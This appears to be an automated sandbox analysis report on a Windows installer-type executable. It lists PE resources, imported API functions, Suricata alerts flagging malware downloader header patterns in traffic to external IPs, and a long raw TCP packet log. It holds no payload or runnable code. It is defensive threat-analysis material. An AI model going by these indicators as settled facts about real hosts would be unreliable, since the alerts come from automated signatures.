RT_ICON	0x58890	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.18738273921200752
RT_ICON	0x59938	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.31050106609808104
RT_ICON	0x5a7e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.440884476534296
RT_ICON	0x5b088	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5635838150289018
RT_ICON	0x5b5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.2703900709219858
RT_ICON	0x5ba58	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.21908602150537634
RT_ICON	0x5bd40	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.3716216216216216
RT_DIALOG	0x5be68	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5bfb0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5c0f0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5c1f0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5c310	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5c3d8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5c438	0x92	data	English	United States	0.6575342465753424
RT_VERSION	0x5c4d0	0x248	data	English	United States	0.5308219178082192
RT_MANIFEST	0x5c718	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T16:11:53.877008+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49987	142.250.184.238	443	TCP
2024-10-22T16:11:53.895201+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49986	142.250.184.238	443	TCP
2024-10-22T16:12:01.180935+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49990	193.122.6.168	80	TCP
2024-10-22T16:12:04.537983+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49991	193.122.6.168	80	TCP
2024-10-22T16:12:04.725700+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49990	193.122.6.168	80	TCP
2024-10-22T16:12:05.444916+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49993	188.114.97.3	443	TCP
2024-10-22T16:12:06.084842+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49991	193.122.6.168	80	TCP
2024-10-22T16:12:06.475477+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49995	193.122.6.168	80	TCP
2024-10-22T16:12:06.804302+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49996	188.114.97.3	443	TCP
2024-10-22T16:12:07.709864+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	193.122.6.168	80	TCP
2024-10-22T16:12:08.100608+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49999	193.122.6.168	80	TCP
2024-10-22T16:12:17.408699+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50021	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 16:11:52.572396040 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.572513103 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:52.572616100 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.573498964 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.573538065 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:52.573597908 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.591417074 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.591449022 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:52.591792107 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:52.591861010 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.447166920 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.447242975 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.447985888 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.448044062 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.452596903 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.452713013 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.455280066 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.455353975 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.513076067 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.513098955 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.513458967 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.513525009 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.516206980 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.531852007 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.531883955 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.532166958 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.532804966 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.534248114 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.563323021 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.579336882 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.876921892 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.877141953 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.877516031 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.877552986 CEST	443	49987	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.877641916 CEST	49987	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.895231962 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.895385027 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.895416021 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.895493984 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.895668030 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.895762920 CEST	443	49986	142.250.184.238	192.168.2.6
Oct 22, 2024 16:11:53.895848989 CEST	49986	443	192.168.2.6	142.250.184.238
Oct 22, 2024 16:11:53.916913033 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.916944981 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:53.917180061 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.917387962 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.917401075 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:53.942748070 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.942790031 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:53.942945004 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.943155050 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:53.943171024 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.775599003 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.776058912 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.779638052 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.779649973 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.779968023 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.780073881 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.780446053 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.793473005 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.793806076 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.797177076 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.797194004 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.797460079 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.797600031 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.798043013 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:54.823369980 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:54.839337111 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.237399101 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.237477064 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.245671988 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.245734930 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.357106924 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.357184887 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.357208014 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.357249975 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.357258081 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.357300043 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.357840061 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.357888937 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.357949018 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.357990026 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.361977100 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.362024069 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.362283945 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.362332106 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.370964050 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.371017933 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.371045113 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.371082067 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472426891 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472501040 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472524881 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472573042 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472574949 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472587109 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472619057 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472659111 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472739935 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472831011 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472837925 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472884893 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.472893000 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.472944975 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.477613926 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.477730036 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.477744102 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.477945089 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.486049891 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.486104965 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.486119032 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.486166954 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.486277103 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.486325979 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.587641001 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.587730885 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.587769032 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.587773085 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.587769032 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.587790966 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.587830067 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.588252068 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.588295937 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.588376999 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.588416100 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.592962980 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.593414068 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.593426943 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.593472958 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.603127003 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.603182077 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.603193045 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.603231907 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.645653009 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.645721912 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.702960014 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.703042030 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.703048944 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.703063011 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.703098059 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.703118086 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.703125954 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.703165054 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.703217030 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.703257084 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.704077005 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.704139948 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.704148054 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.704159021 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.704179049 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.704206944 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.708273888 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.708327055 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.708338022 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.708384991 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.717863083 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.717928886 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.717943907 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.717983961 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.761143923 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.761215925 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.761241913 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.761409998 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.818126917 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.818188906 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.818206072 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.818249941 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.818255901 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.818293095 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.818588018 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.818634033 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.818711996 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.818758011 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.823781013 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.823837996 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.823848963 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.823892117 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.833172083 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.833244085 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.833256960 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.833295107 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.877101898 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.877186060 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.877207994 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.877250910 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.877258062 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.877311945 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.933468103 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933546066 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933553934 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.933578014 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933592081 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.933617115 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933624029 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.933633089 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933670998 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.933682919 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.933722019 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.939037085 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.939091921 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.939096928 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.939208984 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.939213037 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.939304113 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.939306974 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.939395905 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.960266113 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.960330963 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.960338116 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.960381031 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.991945028 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.992017031 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.992039919 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.992108107 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:57.992115021 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:57.992165089 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.048902988 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.048974037 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.048985958 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.049000978 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.049036980 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.049063921 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.050242901 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.050318003 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.054582119 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.054641008 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.054646015 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.054656029 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.054688931 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.054718018 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.054727077 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.054774046 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.065599918 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.065669060 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.065674067 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.065716028 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.107578039 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.107650995 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.107661009 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.107705116 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.164201021 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.164280891 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.164319992 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.164359093 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.164376974 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.164386988 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.164532900 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.164537907 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.164578915 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170006990 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170058012 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170063019 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170125961 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170125961 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170131922 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170181990 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170428991 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170475960 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.170480013 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170538902 CEST	49988	443	192.168.2.6	142.250.185.65
